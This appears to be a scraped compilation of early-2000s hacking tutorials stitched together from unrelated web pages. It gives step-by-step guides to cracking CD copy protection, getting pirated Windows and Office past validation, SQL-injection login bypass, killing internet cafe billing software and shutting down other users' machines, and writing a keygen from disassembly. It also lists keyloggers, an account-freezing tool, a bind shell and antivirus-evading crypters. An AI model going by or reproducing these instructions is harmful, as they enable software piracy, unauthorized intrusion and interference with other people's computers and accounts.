http://www.asp101.com/lessons
http://www.bestebooksworld.com/ebook/11609/
http://www.aspcode.net/category/NET.aspx
http://www.sourcecodesworld.com/source/show.asp?ScriptID=905
dotnet sites
http://www.asp101.com/lessons
http://www.bestebooksworld.com/ebook/11609/
http://www.aspcode.net/category/NET.aspx
http://www.sourcecodesworld.com/source/show.asp?ScriptID=905
Crack CD protection
the protection. This will help you w/ the most basic system of protection,
called C- dilla, that is the most usual one…
The programs we will use are 2: first, and decompiler – the files we will
work with are in ExE format, and we need a program that will HeX them (transfer
to 16 base, hexa, form) and locate the orders given in the code, then we will
find the line we need and change it to remove the protection with... – the
second program: we need a program that will *edit* the files, and fetch the
right line number we got using the first program… all those action are easly
done w/ the programs: Win32Dasm (the disassembler - decompiler program, added in
the dir [root/Win32Dasm]), and Hiew (the editing program added in the dir
[root/Hiew]). The programs are added to the tutorial, because I’m not so sure
you can find then on a stable location on the net, in the dir [root/programs].
Chapter II: The easy protection.
Okay! To save you from reading this entire tutorial for nothing you’re not going
to use I made this chapter, because there is a good chance you won’t be needing
it! Some games comes w/ protection as a files in the [/Setup] dir (or root
dir) called: [00000001.TMP], [CLCD16.DLL], [CLCD32.DLL] and most important
[CLOKSPL.EXE]... if you see any of them delete it and the protection should
disappear (Important! delete them after making a mirror of the game on your HD,
using the info in the next chapter) … if you are still getting an error message
just keep on reading.
Chapter III: Finding the right file – and the right error.
The files we are going to work w/ will be the main ExE of the game: you will
find it on the CD, in a dir called [/Setup] or [/data], but the easy way to find
it is just installing the game, and the ExE that starts the game – will be the
ExE we need! ... once you’ve got it make some room on your HD, because we are
going to copy the hole CD to it… before you do that: some games have am option,
when Installing, to Install the full game to the CD (but still needing it to
play), use it if possible, The files you need to copy are all the game files,
in some games it is the root dir of the CD, in others it is the [root/data] dir…
the worst case is when the game is inside a CAB file, then you have to use a CAB
extractor (WinZip 8 should do the job), and if it is protected a different
program that can compile CAB format (I’ll try to put it on the tutorial as
well). Once you’ve done all that – press the ExE, and if the game opens close it
and exit the CD, then press again- you will get an error window! … usually the
line goes like: “Error, please enter CD to run game” or “CD error” or “Error
reading CD-ROM” .. what ever error you get – write it down and remember it, we
are about to look for it in the ExE code, and change it!
Chapter IV: Finding the right line number.
Open the first program - Win32Dasm, by unzipping it and clicking on
[/w32dsm89.exe], now we have to load the file we know is the main ExE of the
game, so click on “Disassembler“ in the main menu, then “Open File to
Disassemble...” (Important! Make sure you got 50-100MB free on your HD) before
then pick the file from the clone game dir you made in your HD (Important! make
a backup of the ExE) … after you’ve success fully w8ed while the program
disassembled the file, you will see *a lot * of gibberish… don’t worry! You
don’t have to understand what is says (I don’t, and I’m not so sure any one does…
except the programs of course) … (Important! If you can’t read and the font
shows only numbers and bizarre letters, click on “Disassembler” in main menu,
then “Font…” then “select Font” then pick Arial or something in English) … now
you have to find the exact line number out of the 2 million in the file that has
the error message in it, do that by clicking the “String Data references”
button, from the buttons menu (under the main menu) – the second one from the
right (-your right)… now you get a list of all the lines in the ExE that refers
to actions, and you have narrowed the lines from 2 million – to 2 thousand… to
find the error message click the first letter it started w/ (for example, if the
message was “Error reading CD-ROM” click E) then search ‘till you find the
error line you are looking for! … once you’ve found it… it will mark the title,
pick the first line, and it should change color to green (that means the line
can be edited and is important)… to be sure you have taken the right line:
if
there is a line like:
“:0044XBCK EB08 ….. (lots of spaces) …. Jmp 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Call 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Push 0044EBD8”
you at the right line, it says the command is a function, effected by the user,
and probably the protection we are looking for (notice the words: Jmp = Jamp,
Call = Call, Push = Push)… now that we got the right line we have to find her
number! That is done by looking at the bottom of the program window and in the
line, that should look similar to this one:
“Line:*** Pg *** of *** Code Data @:0045821 @Offset 00045821h in file:***.exe“
notic the number that comes after the word „Offet“ in this line: 00045821h that
is the line number! But notice the letter „h“ at the end of it – you don’t need
it, and don’t forget to remove it from the number, now – the only thing left to
do is changing the line and removing the protection!
Chapter V: Editing the line.
After writing down the line number you can minimize Win32Dasm, because for now
we have finished using it. Open the second program: Hiew (added in the
tutorial), this is an editor that will work bad for searching the right line,
but will do if you know the line number and just wanna change it…
Open again the same game ExE you have processed in Win32Dasm. When you enter you
see a lot of gibberish, that’s the code, and you need to change it to the
decoded language… do that by pressing the F4 key and then pick the option
“Decode“ .. heh! Alot better now... now click F5 key, to search the right line,
you will see the line numbers at the left end of the screen is gray, enter the
line number you got from Win32Dasm and it will jump you to the right loction in
the file... now, this is the difficult part, not hard to do – but hard to
explain, near the line number (just at the right) you will see the command in
HeX form, it should be something like BC1BB3D2D1 that is in HeX code (base 16)
which means a number (=byte) is represented by 2 letters/number, so that the
group (BC1BB3D2D1) is made of 5 bytes: BC – 1B – B3 – D2 – D1 ... (10 numbers =
5 bytes, 8 numbers = 4 bytes and so on...), we are about to change evrey byte
from D1 or BC to 90 this is done by pressing the key F3 (activates Editing
option) and pressing, for every byte, the number 90 (90 is the noop number, that
will disable the action)... and in our case, the command will change from
BC1BB3D2D1 to 9090909090 ... once it is done click the key F10 to save the
offset, and exit.
Chapter VI: Testing.
Now that you have an ExE w/out the error line, activate it from the same clone
dir of the game you made to test it, if its working – congratulation! You have
just cracked a CD protection! … if you are getting another error message redo
the same steps you have do w/ the first error message (in chapters 3-5) to
change it as well (Important! Do it on the same ExE you have edited, and backup
this one as well) and then test it again. You might be needed to do it several
number of times, until you are getting no error message and the game runs!
Chapter VII: Quick order list.
- Start without Cd then look at the error message and write it down.
- Search the msg in Win32Dasm referance and copy nmber w/out the H at the end!.
- Open Hiew, F4 to Decode, F5 to seach the line, and change the command – 90 for
every 1 byte.
- F10 to save and then get out, don’t forget to test!
Speeding Up Share Viewing
Bypass windows validation
Microsoft WGA validation check can be defeated and any Microsoft product with the WGA validation feature can be run and installed on machines running pirated copy of Windows XP. To bypass WGA validation check, one can run “GenuineCheck.exe” file on a machine running a copy of an authentic Windows XP for generating a key code. This key code generated on the machine running genuine copy of Win XP can be used to circumvent the WGA check on the machine running a pirated copy of Win XP.
Below given are the steps to defeat WGA validation check on a pirated copy of Win XP –
Click here for smart ways to bypass Windows Validation
Case Study – Download and Install Windows AntiSpyware on a pirated copy of Windows XP
Steps for Bypassing WGA Validation Check
- Visit the Microsoft download link to download a copy of Windows Anti-Spyware.
- After clicking on the “Windows Anti-Spyware” link in the download section the following screen will appear with a “Continue” button in it. Click on the “Continue” button to go to the next screen.
- The screenshot below is the next screen that appears after step 2. Select the first option and click on the “Continue” button.
- The screenshot below is the next screen that appears after Step 3. Scroll down to the “Alternative Validation Section” and click on the link “Genuine Windows Validation, Alternate Method”.
- The following page appears after clicking on the “Genuine Windows Validation, Alternate Method” link. To download a copy of “GenuineCheck.exe”, click on the “Continue” button.
- After downloading “GenuineCheck.exe”, run it on the machine running a genuine copy of Windows XP. It will generate a code which is used for WGA validation. Copy the code and use the same code to validate a pirated copy of Windows XP and bypass the WGA.
- The code generated in the above step can be copied and pasted on to the WGA validation page on a machine running a pirated copy of Windows XP. Then click on the “Validate” button to continue. Since the code was generated on the machine running a genuine copy of the OS, the online validation fails to identify the pirated copy of the OS and allows the software to be downloaded and installed.
- After the code is “Validated” on the machine running a pirated copy of Windows XP, the following download screen appears. Now the software can be downloaded and installed on the pirated copy of Windows XP without any problem.
Google Hacking Database (GHDB)!
Advisories and Vulnerabilities (215 entries)
These searches locate vulnerable servers. These searches are often generated from various security advisory posts, and in many cases are product or version-specific.
Error Messages (69 entries)
Really retarded error messages that say WAY too much!
Files containing juicy info (230 entries)
No usernames or passwords, but interesting stuff none the less.
Files containing passwords (135 entries)
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!
Files containing usernames (15 entries)
These files contain usernames, but no passwords... Still, google finding usernames on a web site..
Footholds (21 entries)
Examples of queries that can help a hacker gain a foothold into a web server
Pages containing login portals (232 entries)
These are login pages for various services. Consider them the front door of a website's more sensitive functions.
Pages containing network or vulnerability data (59 entries)
These pages contain such things as firewall logs, honeypot logs, network information, IDS logs... all sorts of fun stuff!
Sensitive Directories (61 entries)
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!
Sensitive Online Shopping Info (9 entries)
Examples of queries that can reveal online shopping info like customer data, suppliers, orders, credit card numbers, credit card info, etc
Various Online Devices (201 entries)
This category contains things like printers, video cameras, and all sorts of cool things found on the web with Google.
Vulnerable Files (57 entries)
HUNDREDS of vulnerable files that Google can find on websites...
Vulnerable Servers (48 entries)
These searches reveal servers with specific vulnerabilities. These are found in a different way than the searches found in the "Vulnerable Files" section.
Web Server Detection (72 entries)
These links demonstrate Google's awesome ability to profile web servers..
Hacking Websites
To hack a Password Protected Websites just follow these steps: -
* Open the website u want to hack. Provide wrong username-password.
(e.g : Username - me and Password - ' or 1=1 --)
An error occured saying wrong username-password. Now be prepared
your work starts from here...
* Right click anywhere on that page =>> go to view source.
* There u can see the html coding with java scripts.
* Before this login information copy the url
of the site in which you are.
* Then delete the java script from the above that validates your
information in the server.(Do this very carefully, your success to
hack the site depends upon this i.e. how efficiently u delete the
JavaScript’s that validate your account information)
then look for...code ..: input name="password" type="password"
=> replace
there instead of . See there if
max length of password is less than 11 then increase it to 11
(e.g. : if then write
* Just go to file => save as and save it any where within
the hard disk with ext.html(e.g. :c:hack.htm)
* Close your webpage and go to the webpage u save in your
hard disk(e.g : c:hack.htm) Open it.
* U see that some changes in current page as compared to original
One. Don't worry.
* Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]
Congrats! Your have cracked the above website and entered into the
account of Ist user saved in the server's database.
The above trick doesn't work on the websites using latest
technique to protect there servers.
Hacking internet Cafe
software on the computer you're using at the Net Cafe you can hopefully disable it.
Firstly we need to gain access to command prompt (cmd.exe) to do this there's a few
ways.
1) The most basic is to go Start/Run/cmd.exe and a black input screen should pop up.
Say that's disabled then we can try some other methods.
2) Press the Windows Logo + R and it will start run up. (hopefully)
3) Navigate your way to C:\WINDOWS\system32 and run cmd.exe from in there.
4) Open notepad type "cmd.exe" without the quotation marks ("") and then
go to File/Save As.. and type the name for the file and have it end with
.bat for example "MyNewFile.bat" and select Save as type and select All Files.
Make sure to save it somewhere you can access it, Like the desktop.
If they have deleted Notepad then go in to Internet Explorer and right click
and select View Source or on the menu bar click View then source and perform the
same process as above.
Once you have done this you can run the file. If you can't open files from the desktop
then go back into Internet Explorer and go to View/Explorer Bar/Folders and navigate to
the Desktop and it will show the saves files on the desktop in a folder type window.
Once you have access to command prompt you can perform some usefull actions e.g shutdown
programs, shutdown other peoples computers, add new accounts.
Ok, well most Net cafes have software running that boots you off of the machine after a certain
ammount of time unless you pay for more time. Well, we don't want that to happen now do we?
Firstly try figure out the Net Cafes timeing/credit softwares name cause this can help.
For more info on the software running we can use the command "tasklist" inside of command prompt.
example: "tasklist" (without quotation marks)
Basicly it brings up all the processes running.
Now say we know the process name for the Net Cafes software we need to disable it. So, how do we do that?
we use "taskkill" >:]
Basicly kills the process we specifcy. Say the Net Cafes software is "Timer.exe" for example and it's shown in
the task list like that we would do this.
example: "taskkill /im Timer.exe /f"
/im : is for image name. Not quite sure what it means, but we need it.
Timer.exe : that's the Net cafes software/process name (example)
/f : Forcefully shuts the program.
Now hopefully your Net Cafes software is terminated and you can freely use their computer with no time restriction.
If you have no luck finding the Net Cafes software name then just try ending processes that Windows Doesn't rely on.
Perhaps you want to have a little fun with people on the network at the Net cafe? well here's a few things for you
to do with command prompt.
Find the people on the network with "net view" and it will list the other computers names on the network.
The shutdown command. Basically the shutdown command will shutdown a computer on the network or your own computer (comes in
handy)
example: "shutdown -s -m HJCPwnts -t 20 -c You're being shutdown"
use "shutdown -a" to cancel this action so you don't shut your own computer down.
-s : sets the shutdown action.
-m : specify the computer name (HJCPwts) that's what my computer name would be on the network. (to find out
how to find computer names use net view. It will list the other computer names.)
-t : the time until shutdown in seconds. Just specify it for 0 if you want it instant.
-c : the comment that will be shown on the shutdown window (not needed, but goo to leave the victim a message)
-f : I left this one out because it shuts the applications the user is running down, but add it on the end when doing
it to someone else.
Now for some more stuff. Perhaps we want to create a new account on this computer and login to it? Well, lets do it then. Ok, this is how we do it.
In command prompt type "net user CoolGuy /add" this basically adds a new user by the name of CoolGuy. Simple ehh?
well we have struck a problemo. How the hell do we login to that account? EASY!
In fact we have already covered most of it. We will be using the shutdown command again.
"shutdown -l" : basicly this logs us out and we can log back in with the CoolGuy account.
-l : sets the logout action.
Ok, so you have had your fun with the new account now and you want to get rid of it in case
of the Net Cafe staff finding it. Well that's simple aswell, all we do is..
"net user CoolGuy /delete" and it will delete that user. Make sure to check it has been
deleted by using "net user" and it will show the accounts.
PS This wasn't written by me. I'm just sharing it. All due credit goes to the original poster.
Hacker tools
Well, now we are very much familiar with use of search engines, what u actually need is just
The name of the utility and tool name to try ur hands upon
well am listing down some such tools...
my main motto here is to make u aware of such tools for educational purpose
and preventing u with severe use of such tools.
regards
Sanjiv
www.allcomputertricks.com
fEvicol v1.0
fEvicol v1.0 is a simple executable(exe)+JPEG image(jpg) binder. The icon of the binded executable is configurable, Lauches both the executable and picture when lauched. Check ReadMe.txt for more details.
MSN Password Finder v2.0 for Win XP/2003
MSN Password Finder v2.0 for Windows XP & 2003, reveals the stored[saved] MSN Messenger Password on the computer. This new version is compatible with the new-method of storing passwords. Tested on WinXP SP2 with MSN Messenger 7.0
RediffMail Notifier
RediffMail Notifier is a small utility that alerts you when new e-mails arrive in your rediffmail inbox, by checking your account regularly while sitting in the system tray. It requires Microsoft .NET Runtime. Screenshot
Password Revealer For Internet Explorer
Password Revealer for Internet Explorer reveals whats behind the asterisks (***) in a web-page. Can be used to viewing password that has just been typed in password-field (see Screensot). Requires Microsoft .NET Runtime. Screenshot
peck v1.0
peck v1.0 is PE [Portable Executable] Signature Scanner - Detects Packers / Cryptors / Compilers etc..
Password-Revealer
Password Revealer ( less than 5KB in size ) is a useful utiltity that reveals the password stored behind the asterisks ("****") in ordinary password fields. Works in Windows 9x,2000,XP,2003 Screenshot
TinyWebCamViewer
Tiny Web Cam Viewer (2.26KB in size), is a pocket sized utility that you can use to view through your webcam. Screenshot
CPU-iNFO
Displays CPU Information - Requires Microsoft .NET Framework
WHOIS-iNFO
Displays WHOIS Information of a domain-name, like information about www.microsoft.com - Requires Microsoft .NET Framework
MSN Password Finder v1.0
Finds the MSN Messenger Password stored on your computer. Works only in cases where the current-user has chosen to remember the pass in MSN Messenger. Works with MSN Messenger 6.x, 7.x .. Tested on Win2K, WinXP. Njoi!!
SixthSense [RC2]
SixthSense RC2 [Release Candidate 2] Has Now IP Address revealing function. It exploits a flaw found in MSN Messenger 6.0 or lower, or Windows Messenger to get the IP Address. [Use a Sniffer and find out what the program is doing ;), don't mail me asking for it ]
SixthSense [RC1]
SixthSense can be used to find the real status of a MSN Messenger user. The method used here is flawless! More functions to be added to SixthSense.
IceCold ReLoaded
IceCold ReLoaded has the same functionality IceCold, but has been updated with the new msn protocol. IceCold ReLoaded is capable of locking or freezing an MSN Passport Account (@hotmail.com, @msn.com etc..). This person won't be able to access his/her hotmail account, sign into msn messenger etc.. is IceCold ReLoaded is launched on his/her account. The person can resume the normal activities as soon as IceCold ReLoaded is stopped.
Due to the unethical nature of this program, I would advice the users to use the program wisely.
IceCold (Obsolete)
IceCold can be used to Freeze an MSN Passport Account. Can disallow a person from accessing his hotmail mailbox, msn messenger etc.. Please use IceCold ReLoaded for the purpose.. this version has been posted here only for historical purposes.
FUn WIth MSN v1.0
Add fake plugins/application names to your MSN Messenger to have some fun with your MSN Buddies...
CusExt
CusExt is a simple program to associate an extension with a program.
Avril
Avril is a simple multi-threaded bulk mailer. Highly Buggy S/W!!
Avril Source Code - zip file is password protected.. break it (its really easy_.. and have the source code.. don't mail me asking for the password..
Kutty
The World's Smallest PE [ Portable Executable]. Its only 513 bytes in size!! Tested in Win98SE & WinXP..
Chota
Chota Add-On -by- da_neural
The World's Smallest Keylogger!! Its only 724 bytes!! It logs the keys to C:.SYS. Please read Info.txt ( in chota.zip ) for more information on this tiny keylogger! :)
BIOS Password Remover
The program tries to remove the bios password. It seems to work only in AWARD bios and a few older older bios. Please read the ReadMe.txt before using the program.. Author takes no responsibility for any damage caused by the use of this program!! Works in Win9x/ME ONLY!!!
MSN Password Decryptor v2.0 (Obsolete)
Decrypts the encrypted password stored in the registry. Works only in cases where you've chosen to remember the pass in MSN Messenger. (Now. Works with newer MSN version.. tested it on Win98SE only!!)
RoBis v1.0
RoBis is a simple anonymous mailer with a special feature that you needn't specify an SMTP Server to send a mail. RoBis queries the DNS server for mail exchange server of the receipient's e-mail address and sends it..
It works on most servers.. i tested it on yahoo, hotmail, rediffmail, gmx, vsnl, sify and eth accounts.. :D
Hanuman Server
Hanuman Server is a simple daemon that runs on port 3333 (0xD05) which give a DOS Shell to anyone who connects to that port..
PortScan
PortScan is a simple port scanner that scans about 28 know ports under port no. 127.. it may fail in slow internet connections :(
Gorgons
[ Boring Saturday Evening Product ]
It just kills the foreground window, in case it has any of the keywords specified in Gorgons.txt ( editable ). It doesn't install itself, so, you'll have to put a short cut in startup folder or modify the registry. It can be used to kill pop-up ads, porno sites etc..
KillSSKC
KillSSKC is an uninstaller for SSKC v1.x, v2.0. It searches in process list to locate the SSKC by name and if located deletes the EXE and the DLL.
PEncrypt v4.0Ø
Nice few improvement from the previous version. Catches few more Application level debuggers, Tracers etc.. Beats detection by AVP (most of the times)
PEncrypt v4.0ß
PEncrypt v4.0ß is best of all the versions! Features include.. SoftICE & ICEDump Detection routines. Anti /TRACEX. Anti Application Level Debuggers. Polymorphic Encrypted Decryptors ( a lame one though ). and ofcourse Multi-layer encryption. So Check it out!!!!
SSKC v2.0 (BugFixed)
SSKC v2.0 ( Super Stealth Key Capturer) is a keylogger with SMTP support. It can kill AntiVirus and FireWalls and similar applications. It comes with a config utility TweakSSKC. Have FUN!!! ( thanx toma iulica for reporting the bug )
ELFCrypt v1.0
A small update to v0.666. Download Source!
ELFCrypt v0.666
ELFCrypt is a simple cryptor for linux executable ( ELF)...
PEncrypt v3.1 (Final)
PEncrypt v3.1 is the most sophisticated of all the version of PEncrypt. It can now generate Polymorphic Decryptor which adds security to your application. Its a must download from this page!!
PEncrypt v3.0
PEncrypt v3.0 is highly stable PE encryptor for Win9x (can be used in Win2k/ME/Xp with some options off)... Its has powerful Anti-* routines than screws up some system level debuggers! Read README.TXT for more details!
PEditor v1.0 (Updated)
PE Editor is a simple program that can used to edit the main parts of the PE Header... Source Included!!
AntiCrypt
A Generic OEP (Original Entry Point) Seeker... read README.TXT for more details!
PEncrypt v2.0
PEncrypt v2.0 - This program is much above the class of PEncrypt v1.0, which doesn't come with anti-* stuff that this version of PEncrypt possess! Main Features :- Anti-Dump, Anti-Dasm, Anti-Trace, Anti-SoftICE, Anti-Debuggers, Ring0 etc...
CHTML
CHTML - Crypted Hyper Text Markup Language... A utility that CRYPTS normal HTML pages so that its source remains senseless to a casual _code stealer_
iSeekU
A ICQ Send Message Utiltiy. Send Messages Anonymously to anybody using ICQ... you call it a ICQ half-clone...
UE
Unkracable Encryption - Create Self Extractable Encryped Files
DeRAR
Extract Your RAR Archives Quickly - Very Fast Unarchiver
Scream
Media Player - Plays MP3, WAV, AU, SND, WMA, MID etc..
OrDidI
SMTP Client - Send Your Mail Anonymously - Very Fast, Robust ...
M3UEd
Playlist Creator in M3U Format, Use it to create Playlist that can be played from Media Player
FAT32Exp
Explorer Program similar to Norton Commander,.. Browse thru folder, open files, execute 'em and more..
SSKC
Super Stealth Key Capturer - A Stealth Key Logger, It hides its existence from CTRL-ALT-DEL.
VBscrypt
Visual Basic Script Encrypting Tool. Decryptors are polymorphic with random variables of variable length.
Valhalla
Valhalla "the unlimited digits" Calculator. It has some funcitons like GCD, Prime Checking, Perfect Square Checking etc..
Patch Maker
Its a small yet efficient patch maker.. which i have christened it as 'A Silly Patch Maker'. Please read Instruction before using it.
PEncrypt v1.0
PEncrypt - A PE (Portable Executable) Encryption Utility. Use simple XOR encryption! So it may get detected as other common debuggers! (I have posted this for historical reasons only!)
Go to : BLOOD ROOM TEAM
Windows Media Player Tricks
First, Click Start > Run > and type “regedit” to run Registry Editor.
Note: editing the registry may damage your system, please make a backup from your registry
To remove recent play list in history:
To remove recent files go to address: HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList
To remove recent URLs go to address: HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentURLList
And delete play lists
To disable Upgrade message:
Go to following address: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\PlayerUpgrade
Create a new String Value and name “AskMeAgain” and give value of NO
To hide anchor window:
When you are in skin mode, Windows Media Player displays Anchor window
To hide anchor window, go to address: HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer
Create a new DWORD and name “DoNotShowAnchor” and give value of 1
To change title name:
Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer
Create a new SRTING and type your name.
To lock applied skin:
Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer
Create a new String with name of Default Skin for example 9SeriesDefault.wmz
Create a new DWORD and name “SetAndLockSkin” and give value of 1.
To enable DVD features:
Go to HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings
Create a new String and name “EnableDVDUI” and give value of YES.
To remove WMP features:
Go to : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer
Create a new DWORD and give value of 1 and name according to below
Media Favorite = NoMediaFavorite
Find New Station = NoFindNewStation
Radio Bar = NoRadiaBar
Other smart ways to Bypass the Windows genuine advantage Validation
Select the Office version from the above link and try downloading any updates / add-ins related to that
specific version. It will lead to a validation link (Refer the screenshot below) which will check whether the office
installed in the system is genuine or not. In short the OGA validation generates a hash out of information
gathered from the installed MS Office and passes it on to the server for verification. The user will be
directed to the download link only if the installed office version is genuine.
To defeat such validation, follow the extremely simple steps –
- Select the add-ins / updates that you require for office
- In the Validation required page, copy the file name
Use google and search for the filename using the following search keyword combination:
site:download.microsoft.com/download
For Example: To search for the file name “RedactionSetup.msi” use the following search key
combination site:download.microsoft.com/download RedactionSetup.msi
- The above search result spits the direct link to the file available on the Microsoft download server
which can be used to directly download the file without any validation check (Refer the screenshot
below for details).
It is possible to re-use the hash generated in any machine having genuine copy of MS Office and can be
distributed over the internet.
For example – The table below has hashes for downloading rhdtool.exe and RedactionSetup.msi which can be
re-used by any user having pirated copy of Office to defeat OGA validation check.
http://www.microsoft.com/downloads/details.aspx?FamilyID=144E54ED-D43E-42CA-BC7B-
5446D34E5360&displaylang=en&Hash=[Put the hash here]
Method 3: A Quick Analysis of OGACheckControl.dll
Last but not the least is analyzing OGACheckControl.dll and preparing a patch. However just to keep
myself away from those scary legal notices, I do not want to release any patch at this point of time. I did a
quick reverse analysis while I was about to finish my last latte; below are few interesting sections which one
may like to look at without wasting much of time -
a. Creation of Hash -> Hashing the stream of data and computation of cryptographic hash of a stream of data
How to make keygens
-===========================-
Introduction
------------
I take no responsibility of the usage of this information.
This tutorial, is for educational knowledge ONLY.
Hi there, in this tutorial, I intend to teach you how to make a pretty
simple keygen, of a program called W3Filer 32 V1.1.3.
W3Filer is a pretty good web downloader...
I guess some of you might know the program.
I`ll assume you know:
A.How to use debugger (in this case, SoftIce).
B.How to crack, generally (finding protection routines,patching them,etc...).
C.How to use Disassembler (This knowledge can help).
D.Assembly.
E.How to code in Turbo Pascal (tm).
Tools you`ll need:
A.SoftIce 3.00/01 or newer.
B.WD32Asm. (Not a must).
C.The program W3Filer V1.13 (if not provided in this package), can be found in
www.windows95.com I believe.
D.Turbo Pascal (ANY version).
Well, enough blah blah, let's go cracking...
Run W3Filer 32.
A nag screen pops, and , demands registration (Hmm, this sux ;-)) Now,
We notice this program has some kind of serial number (Mine is 873977046),
Let's keep the serial in mind, I bet we`ll meet it again while we're on
the debugger.
Well, now, let's put your name and a dummy reg code...
set a BP on GetDlgItemTextA, and, press OK.
We pop inside GetDlgItemTextA, Lets find the registration routine...
I`ll save you the work, the registration routine is this:
:00404DB2 8D95A8FAFFFF lea edx, dword ptr [ebp+FFFFFAA8]
:00404DB8 52 push edx ---> Your user name here.
:00404DB9 E80B550000 call 0040A2C9 ---> Registration routine.
:00404DBE 83C408 add esp, 00000008 ---> Dunno exactly what is it.
:00404DC1 85C0 test eax, eax ---> Boolean identifier, 0 if
:00404DC3 7D17 jge 00404DDC ---> registration failed, 1 if
OK.
Well, Let's enter the CALL 40A2C9, and see what's inside it:
(Please read my comments in the code).
* Referenced by a CALL at Addresses:
|:00404DB9 , :00407F76
|
:0040A2C9 55 push ebp
:0040A2CA 8BEC mov ebp, esp
:0040A2CC 81C4B0FEFFFF add esp, FFFFFEB0
:0040A2D2 53 push ebx
:0040A2D3 56 push esi
:0040A2D4 57 push edi
:0040A2D5 8B5508 mov edx, dword ptr [ebp+08]
:0040A2D8 8DB500FFFFFF lea esi, dword ptr [ebp+FFFFFF00]
:0040A2DE 33C0 xor eax, eax
:0040A2E0 EB16 jmp 0040A2F8
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2FB(C)
|
:0040A2E2 0FBE0A movsx ecx, byte ptr [edx] ----> Here Starts the
interesting part.
:0040A2E5 83F920 cmp ecx, 00000020 ----> ECX is the the current
char in the user name, Hmm, 20h=' '...
:0040A2E8 740D je 0040A2F7 ----> Let's see,
:0040A2EA 8A0A mov cl, byte ptr [edx] ----> Generally, all this loop
does, is copying
the user name from
[EDX], to [ESI], WITHOUT the spaces!
(Keep this in mind! ).
:0040A2EC 880C06 mov byte ptr [esi+eax], cl
:0040A2EF 42 inc edx
:0040A2F0 40 inc eax
:0040A2F1 C6040600 mov byte ptr [esi+eax], 00
:0040A2F5 EB01 jmp 0040A2F8
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A2E8(C)
|
:0040A2F7 42 inc edx
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A2E0(U), :0040A2F5(U)
|
:0040A2F8 803A00 cmp byte ptr [edx], 00
:0040A2FB 75E5 jne 0040A2E2 ----------------> This is the loop , we got
what it does,
Let's continue tracing
the code...
:0040A2FD 56 push esi --------> The user name is pushed, in order
to
Upcase it's chars.
* Reference To: USER32.CharUpperA, Ord:0000h
|
:0040A2FE E80F330000 Call User!CharUpper ---> After this, our name is in
upper case.
:0040A303 56 push esi -----> Our name in upper case here.
* Reference To: cw3220mt._strlen, Ord:0000h
|
:0040A304 E86F300000 Call 0040D378 ---> This is the length of our name.
:0040A309 59 pop ecx
:0040A30A 8BC8 mov ecx, eax ---> ECX=Length.
:0040A30C 83F904 cmp ecx, 00000004 ---> Length>=4 (MUST).
:0040A30F 7D05 jge 0040A316 ---> Let's go to this address...
:0040A311 83C8FF or eax, FFFFFFFF
:0040A314 EB67 jmp 0040A37D
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A30F(C)
|
:0040A316 33D2 xor edx, edx
:0040A318 33C0 xor eax, eax
:0040A31A 3BC8 cmp ecx, eax
:0040A31C 7E17 jle 0040A335 ---> (Not important, just another useless
checking).
===================================================================================
============ FROM HERE AND ON, THE IMPORTANT CODE, PAY ATTENTION ==================
===================================================================================
One thing before we continue, EDX = 00000000h as we enter to the next instructions.
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A333(C)
|
:0040A31E 0FBE1C06 movsx ebx, byte ptr [esi+eax] ---> EBX <--- char in user name, offset EAX. :0040A322 C1E303 shl ebx, 03 -----> Hmm, it shl's the char by 03h...
(Remember that).
:0040A325 0FBE3C06 movsx edi, byte ptr [esi+eax] ---> Now EDI <--- Char in user name , offset EAX. :0040A329 0FAFF8 imul edi, eax -----> It multiplies the char by the
offset in user name! (Remember that).
:0040A32C 03DF add ebx, edi -----> Adds the result to EBX (That was
Shelled (Ding Dong =)).
:0040A32E 03D3 add edx, ebx -----> EDX=EDX+EBX!!! - This is the CORE
of this registration routine!!!
:0040A330 40 inc eax -----> Increase EAX by one (next char).
:0040A331 3BC8 cmp ecx, eax
:0040A333 7FE9 jg 0040A31E ----> If ECX
here?????
:0040A33A C1F803 sar eax, 03 ---------> WAIT! Please type in SIce '?
EAX'
Does this number in EAX look
familiar to us? ;-)
If you still don`t understand,
than, It's
our SERIAL NUMBER! (PLEASE, take
your time, and check by
yourself - don`t trust me!). OK,
so now we know,
That it SHR's EAX by 03 (SAR is
almost identical to SHR).
:0040A33D 03D0 add edx, eax ---------> Hmm, it adds the result from the
loop, the serial number shr'd by 03h
:0040A33F 52 push edx -------> Let's continue. (At this point, I
can tell you , the reg number, is
in EDX - only that the reg number
is in HEX --> That's how you enter it).
* Possible StringData Ref from Data Obj ->"%lx"
|
:0040A340 685EF54000 push 0040F55E
:0040A345 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0040A34B 52 push edx
* Reference To: USER32.wsprintfA, Ord:0000h
|
:0040A34C E8E5320000 Call 0040D636 -------> This one, does HEX2STR (Takes
the value from EDX, and turns it to an hex string).
:0040A351 83C40C add esp, 0000000C
:0040A354 8D8DB0FEFFFF lea ecx, dword ptr [ebp+FFFFFEB0] -----> type 'd ecx' -
THIS is the reg number! That's enough for us, the rest of
the code, is
just for comparing the correct reg code with ours.
:0040A35A 51 push ecx
* Reference To: USER32.CharLowerA, Ord:0000h
|
:0040A35B E8B8320000 Call 0040D618
:0040A360 8D85B0FEFFFF lea eax, dword ptr [ebp+FFFFFEB0]
:0040A366 50 push eax
:0040A367 FF750C push [ebp+0C]
* Reference To: cw3220mt._strcmp, Ord:0000h
|
:0040A36A E875300000 Call 0040D3E4
